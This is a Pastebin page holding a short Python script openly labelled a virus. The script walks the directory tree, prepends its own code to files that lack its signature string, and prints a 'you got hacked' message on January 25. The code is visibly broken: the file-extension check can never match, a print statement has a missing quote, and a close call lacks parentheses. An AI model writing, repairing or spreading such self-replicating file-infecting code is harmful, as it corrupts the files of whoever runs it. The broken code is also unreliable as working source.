Adm1n_0v3rride

Python example virus

Apr 23rd, 2017
248
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. import os
  3. import datetime
  4. SIGNATURE = "SIMPLE PYTHON VIRUS"
  5. def search(path):
  6.     filestoinfect = []
  7.     filelist = os.listdir(path)
  8.     for fname in filelist:
  9.         if os.path.isdir(path+"/"+fname):
  10.             filestoinfect.extend(search(path+"/"+fname))
  11.         elif fname[-3:] == ".doc,.dll,.py":
  12.             infected = False
  13.             for line in open(path+"/"+fname):
  14.                 if SIGNATURE in line:
  15.                     infected = True
  16.                     break
  17.             if infected == False:
  18.                 filestoinfect.append(path+"/"+fname)
  19.     return filestoinfect
  20. def infect(filestoinfect):
  21.     virus = open(os.path.abspath(__file__))
  22.     virusstring = ""
  23.     for i,line in enumerate(virus):
  24.         if i>=0 and i <39:
  25.             virusstring += line
  26.     virus.close
  27.     for fname in filestoinfect:
  28.         f = open(fname)
  29.         temp = f.read()
  30.         f.close()
  31.         f = open(fname,"w")
  32.         f.write(virusstring + temp)
  33.         f.close()
  34. def bomb():
  35.     if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
  36.         print you got hacked by Adm1n_0v3rr1d3"
  37. filestoinfect = search(os.path.abspath(""))
  38. infect(filestoinfect)
  39. bomb()
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×